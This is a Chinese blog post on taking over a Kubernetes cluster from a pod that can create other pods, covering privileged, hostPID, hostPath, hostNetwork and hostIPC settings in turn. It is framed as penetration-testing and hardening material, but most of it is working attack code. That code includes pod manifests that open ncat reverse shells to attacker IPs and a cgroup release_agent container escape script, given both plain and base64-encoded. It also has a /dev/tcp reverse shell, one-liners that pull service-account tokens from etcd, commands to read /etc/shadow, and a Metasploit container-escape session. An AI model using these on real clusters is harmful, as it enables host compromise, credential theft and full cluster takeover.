Kubernetes Pod 横向移动

发布于 2024-09-12 01:07:06 字数 20855 浏览 28 评论 0

1 前言

本文讨论了渗透测试场景下,当攻击者在 Kubernetes 集群中拥有创建 pods 权限时,由于配置不当造成集群接管的风险。提出在不同配置下,通过 pods 横向移动并最终接管集群的不同方案。

2 摘要

根据公司安全与隐私保护的设计要求,为了保证系统的信息安全,其中一个原则是最小权限原则。也就是每个用户、系统进程或应用程序都需要使用完成任务所需的最少权限来运行。如果所配置的权限超出了所需的权限,攻击者就会利用这些场景获取敏感数据、入侵其它系统或进行权限提升,从而在当前网络中进行横向移动。

众所周知,Kubernetes 的部署和 DevOps 的实施流程比较复杂,在部署时由于运维人员的操作,往往导致配置错误或违背了“最小权限原则”,本文总结了多种在真实场景下,如何通过一些配置不当的权限,绕过安全检测,实现接管集群的方法。同时,运维人员可以通过本文的案例,检查 Kubernetes 中的配置,加固环境,从而降低集群安全风险。

3 Kubernetes 提供的安全方案

提及到 Kubernetes 安全最佳实践,在配置 pod 时要使用最小特权原则。但是,该如何执行细粒度的安全控制,又该如何评估每个属性的风险呢?Kubernetes 提供了多种方式来解决上面的问题

  1. PodSecurityPolicy
  • PodSecurityPolicy 与其它专门的准入控制插件一样,作为内置的策略 API,PodSecurityPolicy 可以对 Pod 的创建更新进行细粒度的授权。核心是通过定义一组 pod 在运行时必须遵循的条件及相关字段的默认值,只有 Pod 满足这些条件才会被 K8s 集群所接受。
  1. OPA Gatekeeper
  • 在 Kubernetes v1.25 开始,PodSecurityPolicy (PSP) 准入控制器已被移除。OPA(Open Policy Agent):是一个开源的、通用策略引擎,可以将策略编写为代码。提供一个种高级声明性语言来编写策略,并把决策这一步骤从复杂的业务逻辑中解耦出来。Gatekeeper 是基于 OPA 的一个 Kubernetes 策略解决方案,可替代 PSP 或者部分 RBAC 功能。因为 OPA 与 Kubernetes 对接偏向于底层,不方便用户使用,所以社区就基于 OPA 引擎开发了 OPA Gatekeeper 的解决方案,方便使用。如果 pod 拥有的权限超过了策略允许的范围,准入控制器就可以拒绝该 pod 进入集群。

然而,即使存在用于定义和执行策略的控制措施,运维人员并不总能理解每个特定属性的实际安全影响,而且 pod 的创建往往没有按需要进行锁定。在渗透测试过程中,当获取的 shell 在集群的 pods 内,且有权限在集群上创建 pod,而集群却没有强制执行策略,这种情景接管集群控制权限非常简单。但是,如果当前 pods 下只可以用 hostNetworkhostPIDhostIPChostPathprivileged 创建一个 pod 呢?针对不同情景,本文讨论了不同的接管方案。

各种权限的概念:

  • privileged :特权容器是一种具有主机的所有功能的容器,它解除了常规容器的所有限制。特权容器可以执行几乎所有可以直接在主机上执行的操作,包括一些针对内核修改的操作等。比如:calico 容器,在启动的时候初始化容器,要对容器的网络进行设置,就需要特权,对操作系统的设备,命名空间进行修改,这个时候,就需要特权容器
  • hostPID :容器将共享其主机的进程命名空间,容器可以直接查看和操作主机上的进程。具体而言, hostPID 的使用通常用于一些特殊的用例,例如运行容器内的进程能够查看主机上的其他进程。
  • HostPath :是 Kubernetes 的一个核心对象之一,它允许在 Pod 中使用本地文件系统。HostPath 支持读写和只读操作,并提供了丰富的访问权限控制选项。
  • HostNetwork :允许 Pod 直接使用主机(Node)的网络命名空间。当 Pod 启用 HostNetwork 时,它与主机共享网络栈,可以访问主机上的网络接口和端口。
  • HostIPC :是一种 Pod 安全上下文(Pod Security Context)的设置,用于控制 Pod 是否能够共享宿主机的 IPC(Inter-Process Communication)命名空间

4 不同权限下的场景讨论

4.1 所有权限均开放

创建的 pod 会将主机的文件系统挂载到 pod 上。如果能使用 k8s 中的 nodeName 选择器将 pod 调度在 control pannel 上,然后,在 pod 中 chroot 到挂载主机文件系统的目录。最终,在运行 pod 的节点上获取了 root 权限。

  • 从 ETCD 数据库中读取密钥信息 - 攻击者通过在 selector 中指定 nodeName,即可在指定的 node 节点上创建 pod,当 ectd 数据库部署在该节点上时,便可以读取 etcd 数据库中的内容,包含群集的配置信息、密钥等。
  • 获取特权服务帐户令牌 - 即使只能在集群中的 worker 节点上调度 pod,也可以通过读取 worker 节点上 pod 中挂载的密钥信息。在生产集群中,即使是在 worker 节点上,通常也至少有一个 pod 有一个已挂载的令牌,该令牌绑定到一个服务帐户(service account),如果该令牌拥有较高权限,那么攻击者就有权限在所有命名空间中创建 pod。

4.1.1 获取 shell

首先说一下笔者的实验环境:

root@k8s-master:~# kubectl get nodes
NAME         STATUS   ROLES           AGE     VERSION
k8s-master   Ready    control-plane   2d19h   v1.28.2
k8s-node1    Ready    <none>          2d19h   v1.28.4
k8s-node2    Ready    <none>          2d19h   v1.28.2

查看当前 token 所拥有的权限:

kubectl auth can-i --list --token=xxx

一个简单的例子,实现上述方法:

apiVersion: v1
kind: Pod
metadata:
  name: all-allowed-exec-pod
  labels:
    app: prod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: all-allowed-pod
    image: ubuntu
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  # 可以通过节点选择器调度到 k8s-master control pannel 中
  nodeName: k8s-master
  volumes:
  - name: noderoot
    hostPath:
      path: /

创建 pods:

kubectl apply -f allow_all.yaml
kubectl exec -it all-allowed-exec-pod -- chroot /host bash

如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。

apiVersion: v1
kind: Pod
metadata:
  name: all-allowed-revshell-pod
  labels:
    app: prod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: all-allowed-pod
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat 192.168.88.139 4444 -e /bin/bash;" ]
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
  nodeName: k8s-master
  volumes:
  - name: noderoot
    hostPath:
      path: /

反弹得到的 shell:

4.1.2 后渗透

4.1.2.1 寻找 token

通过如上方式获取到 control-pannel 节点后,可以从 etcd 中读取数据,一种优雅的方式是通过安装 ectd 客户端进行连接,下面介绍一种简易方式:

  • 查看 etcd 数据库文件路径:
ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

  • 查看数据库文件内容
strings /var/lib/etcd/member/snap/db | less
  • 从数据库中获取 sa 名称,并提取 token:
etcd=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$etcd" | grep eyJhbGciOiJ`; do name=`echo "$etcd" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

  • 获取一些默认 token:
etcd=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$etcd" | grep eyJhbGciOiJ`; do name=`echo "$etcd" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
  • 在 pods 中直接查看挂载的 token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

在 kubernetes 1.24 开始,创建 serviceaccount 不会自动生成 secret,在 pods 中获取的 token 属于集群自动生成,且有 1h 的有效期。

4.1.2.2 寻找 kubeconfigs

kubeconfig 是集群的配置文件,每个集群内的用户通过各种集群内置或者自定义的角色绑定一定的权限。通过 kuberconfig 文件,将可以在任意一台服务器上进行 kubernetes 集群的管理,仅仅需要一个 kubernetes 集群的 kubectl 客户端即可。

find / -name kubeconfig
find / -name kubelet.conf
ls /etc/kubernetes/admin.conf
find / -name .kube
grep -R "current-context" /home/
grep -R "current-context" /root/

4.2 开放 Privileged & HostPid 权限

在这种情况下,与上一个场景下的 pod 相比,唯一的变化是如何获得主机的 root 访问权限。攻击者在无法通过 chroot 到宿主机的文件系统时,可以使用 nsenter 在运行 pod 的节点上获取 shell 权限。

nsenter 是一个 Linux 命令行工具,用于进入已有的命名空间,可以在指定进程的命令空间下运行指定的命令。命名空间是一种隔离机制,用于隔离进程的资源,而容器是通过命名空间进行资源隔离的。通过使用 nsenter 命令,可以进入已经存在的命名空间,并在该命名空间中执行命令或查看其状态。

  • 特权容器( privileged: true )在容器层面上几乎打破了容器本应提供的所有隔离。PID 命名空间是少数仍然存在的隔离墙之一。然而,没有 hostPIDnsenter 仅能用于进入容器内运行的进程的命名空间。
  • 当同时设置 hostPID: trueprivileged: true 时,Pod 将能够看到主机上的所有进程,并且你可以进入主机上的 init 系统(PID 1),并在节点上执行你的 shell。

4.2.1 获取 shell

apiVersion: v1
kind: Pod
metadata:
  name: priv-hostpid-exec-pod
  labels:
    app: prod
spec:
  hostPID: true
  containers:
  - name: priv-hostpid-pod
    image: ubuntu
    tty: true
    securityContext:
      privileged: true
    command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]
  nodeName: k8s-master

创建好 pods 后直接 kubectl exec -it priv-hostpid-exec-pod -- bash 即可获取宿主机 root 权限。

同样的,如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。

apiVersion: v1
kind: Pod
metadata:
  name: priv-hostpid-revshell-pod
  labels:
    app: prod
spec:
  hostPID: true
  containers:
  - name: priv-and-hostpid-pod
    image: raesene/ncat
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c" ]
    args: [ "ncat 192.168.88.138 4444 -e '/usr/bin/nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash'" ]
  nodeName: k8s-master

4.2.2 后渗透

关于后渗透的部分可以参考前面的场景,在此不做赘述。

4.3 开放 Privilege 权限

当仅拥有 Privilege 权限时,有如下两种方式可以获取集群权限:

  • 挂载宿主机文件系统:在特权模式下,宿主机上的 /dev 在 Pod 内是可访问的。可以使用 mount 命令将包含宿主机文件系统的磁盘挂载到 Pod 中。但是针对一些高权限路径,并不能在特权 Pod 内可访问。
  • 利用 cgroup 漏洞:通过一些利用脚本,如 undock.sh 等获取 root 权限。

4.3.1 获取 shell

apiVersion: v1
kind: Pod
metadata:
  name: priv-exec-pod
  labels:
    app: prod
spec:
  containers:
  - name: priv-pod
    image: ubuntu
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: k8s-master

同样的,如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。

apiVersion: v1
kind: Pod
metadata:
  name: priv-revshell-pod
  labels:
    app: prod
spec:
  containers:
  - name: priv-pod
    image: raesene/ncat
    securityContext:
      privileged: true
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
  nodeName: k8s-master

4.3.2 后渗透

查看宿主机文件系统:

kubectl exec -it priv-exec-pod -- fdisk -l

可以看到 sda3 是宿主机的文件系统,直接挂载宿主机文件系统:

kubectl exec -it priv-exec-pod -- mkdir /host
kubectl exec -it priv-exec-pod -- bash -c "mount /dev/sda3 /host/"

然后可以在这些文件系统中搜索一些敏感文件,如 token 等:

具体方法同前面场景,在此不做赘述。

那么,如何通过 cgroup 命令执行呢?

4.3.2.1 undock.sh 执行命令
#!/bin/bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

或者:

echo ZD1gZGlybmFtZSAkKGxzIC14IC9zKi9mcy9jKi8qL3IqIHxoZWFkIC1uMSlgCm1rZGlyIC1wICRkL3c7ZWNobyAxID4kZC93L25vdGlmeV9vbl9yZWxlYXNlCnQ9YHNlZCAtbiAncy8uKlxwZXJkaXI9XChbXixdKlwpLiovXDEvcCcgL2V0Yy9tdGFiYAp0b3VjaCAvbzsgZWNobyAkdC9jID4kZC9yZWxlYXNlX2FnZW50O2VjaG8gIiMhL2Jpbi9zaAokMSA+JHQvbyIgPi9jO2NobW9kICt4IC9jO3NoIC1jICJlY2hvIDAgPiRkL3cvY2dyb3VwLnByb2NzIjtzbGVlcCAxO2NhdCAvbwo= | base64 -d > undock.sh 

执行:

sh undock.sh "cat /etc/shadow"
4.3.2.2 反弹 shell
#!/bin/bash
overlay=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir /tmp/escape
mount -t cgroup -o blkio cgroup /tmp/escape
mkdir -p /tmp/escape/w
echo 1 > /tmp/escape/w/notify_on_release
echo "$overlay/shell.sh" > /tmp/escape/release_agent
sleep 3 && echo 0 >/tmp/escape/w/cgroup.procs &
nc -l -p 4444 escape.sh

创建 shell.sh

#!/bin/bash
/bin/bash -c "/bin/bash -i >& /dev/tcp/POD_IP/4444 0>&1"

运行:

chmod +x shell.sh escape.sh && ./escape.sh
4.3.2.3 metasploit

pods 中反弹 shell:

root@pod-priv:/# /bin/sh -i >& /dev/tcp/192.168.33.114/4444 0>&1

msf 中设置监听器与配置:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.33.114
LHOST => 192.168.33.114
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.33.114:4444
[*] Command shell session 1 opened (192.168.33.114:4444 -> 192.168.33.133:64341) at 2023-11-21 16:36:29 +0800


Shell Banner:
#
-----

# background

Background session 1? [y/N]  y
msf6 exploit(multi/handler) > use exploit/linux/local/docker_privileged_container_escape
[*] No payload configured, defaulting to linux/armle/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_privileged_container_escape) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/docker_privileged_container_escape) > set session 1
session => 1
msf6 exploit(linux/local/docker_privileged_container_escape) > run

4.4 开放 HostPath 权限

在这种场景下,即使没有访问主机进程或网络命名空间的权限,如果集群管理员没有限制 pod 可以挂载的内容,可以将宿主机的文件系统挂载到攻击者创建的 pod 中,从而获得宿主机文件系统的读/写权限。

下面是一些常见的提权手法:

  • 寻找 kubeconfig 文件 - 通过查看宿主机中的 kubeconfig 文件,有可能获取集群管理员的 token 权限。
  • 获取宿主机节点上 pod 的令牌 - 可以使用 kubectl auth can-i --list 查看其它的 pod 的令牌比当前权限更高。
  • 添加 SSH 密钥 - 将本地的公钥添加到宿主机节点,SSH 登录,获取 shell。
  • 破解 hash 密码 - 破解 /etc/shadow 中的 hash 密码。

4.4.1 获取 shell

创建 pod 挂载宿主机文件系统:

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-exec-pod
  labels:
    app: prod
spec:
  containers:
  - name: hostpath-exec-pod
    image: ubuntu
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: k8s-master
  volumes:
  - name: noderoot
    hostPath:
      path: /

如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。

apiVersion: v1
kind: Pod
metadata:
  name: hostpath-revshell-pod
  labels:
    app: prod
spec:
  containers:
  - name: hostpath-revshell-pod
    image: raesene/ncat
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
  nodeName: k8s-master 
  volumes:
  - name: noderoot
    hostPath:
      path: /

4.4.2 后渗透

关于后渗透的部分可以参考前面的场景,在此不做赘述。

4.5 开放 HostPid 权限

在只有 hostPID 权限的节点上目前没有较好的 getshell 的方法,但是可以从以下几个方面思考:

  • 查看宿主机上的进程 - 在拥有 hostPID 权限的 pod 中运行 ps 时,可以看到宿主机上运行的所有进程,包括每个 pod 中运行的进程。
  • 查找密码、令牌、密钥等 - 通过搜索进程命令行、本地文件系统中的密钥或 token 进行横向移动。
  • 拒绝服务攻击 - 可以 kill 当前节点上的任何进程,实现拒绝服务的效果。

4.6 开放 HostNetwork 权限

如果只有 hostNetwork 权限,有三种可能的提权路径:

  • 访问绑定到宿主机 localhost 的服务 - 可以访问只监听主机环回接口或被网络策略阻止的服务。比如:api server 的 8080 端口提供的是没有 TLS 加密的 HTTP 服务,且所有到达该端口的请求将绕过所有认证和授权模块,如果可以访问该接口,就可以接管集群。
  • 嗅探流量 - 可以使用 tcpdump 在主机的网络接口上嗅探未加密的流量。通过流量监控可以发现未加密通道传输的服务帐户令牌或其它敏感信息。
  • 绕过网络策略 - 如果命名空间应用了限制性网络策略,那么部署带有 hostNetwork 权限的 pod 就可以绕过这些限制。

4.6.1 获取 shell

apiVersion: v1
kind: Pod
metadata:
  name: hostnetwork-only
  labels:
    app: prod
spec:
  hostNetwork: true
  containers:
  - name: hostnetwork-only
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: k8s-master

如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。

apiVersion: v1
kind: Pod
metadata:
  name: hostnetwork-only-reverse
  labels:
    app: prod
spec:
  hostNetwork: true
  containers:
  - name: hostnetwork-only-reverse
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
  nodeName: k8s-master

4.6.2 后渗透

4.6.2.1 环境准备

以访问 api-server 的 8080 端口为例,在默认情况下,需要修改 api-server 的配置:

vim /etc/kubernetes/manifests/kube-apiserver.yaml

手动添加如下两行:

- --insecure-port=8080
- --insecure-bind-address=127.0.0.1

然后重启 api-server 即可:

systemctl restart kubelet
4.6.2.2 接管集群
kubectl -s http://192.168.88.137:8080 get nodes

4.7 开放 HostIPC 权限

IPC 命名空间是一种在同一台主机上运行的进程之间进行进程间通信(IPC)的机制。通过设置 HostIPC 权限,可以控制 Pod 是否可以与主机上的其他进程共享 IPC 命名空间。在 Kubernetes 中,每个 Pod 都有自己的 IPC 命名空间,Pod 内的进程只能与同一 Pod 内的其他进程进行 IPC,而不能直接与主机上的进程进行 IPC。

如果将 HostIPC 设置为 true ,则表示该 Pod 具有访问主机 IPC 命名空间的权限, Pod 内的进程可以与主机上的其他进程共享 IPC 命名空间,从而可能影响主机上的其他进程。

如果主机上的任何进程或 pod 中的任何进程使用了主机的进程间通信机制(共享内存、信号数组、消息队列等),攻击者可以读/写这些机制。有如下几种方法谢谢

  • 查看 /dev/shm - 查看在这个共享内存位置是否存在任何文件。
  • 查看现有 IPC 设施 - 可以使用 /usr/bin/ipcs 检查是否有 IPC 正在使用。

创建 Pods:

apiVersion: v1
kind: Pod
metadata:
  name: hostipc-only
  labels:
    app: prod
spec:
  hostIPC: true
  containers:
  - name: hostipc-only
    image: ubuntu
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "while true; do sleep 30; done;" ]
  nodeName: k8s-master

如果我们所在的 pods 没有 pods/exec 权限,可以采取反弹 shell 的方式获取 shell。

apiVersion: v1
kind: Pod
metadata:
  name: hostipc-only-reverse
  labels:
    app: pentest
spec:
  hostIPC: true
  containers:
  - name: hostipc-only-reverse
    image: raesene/ncat
    command: [ "/bin/sh", "-c", "--" ]
    args: [ "ncat 192.168.88.138 4444 -e /bin/bash;" ]
  nodeName: k8s-master

4.8 无任何权限

在这种场景下,思路就比较常规了,可以参考 我的这篇文章 ,通常有以下几种方式:

  • 访问云上 metadata 信息:如果 Pod 是在云上托管的,可以尝试访问 metadata 信息,可能会有一些 IAM 凭据或 STS token 等。
  • 权限配置不当的 serviceaccount :如果命名空间的默认服务账户被挂载到 Pod 中的 /var/run/secrets/kubernetes.io/serviceaccount/token ,并且权限设置过大,可以使用该令牌提升权限。
  • 未授权漏洞:集群内 api-server 未授权、kubelet 未授权等。
  • 内核漏洞或 k8s 漏洞:如 CVE-2018-1002105。
  • 应用漏洞:寻找 pod 内启动的应用自身漏洞。

5 参考

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

JSmiles

生命进入颠沛而奔忙的本质状态,并将以不断告别和相遇的陈旧方式继续下去。

0 文章
0 评论
84961 人气
更多

推荐作者

杨绘峰

文章 0 评论 0

听闻余生

文章 0 评论 0

谜兔

文章 0 评论 0

xiaotwins

文章 0 评论 0

你说

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文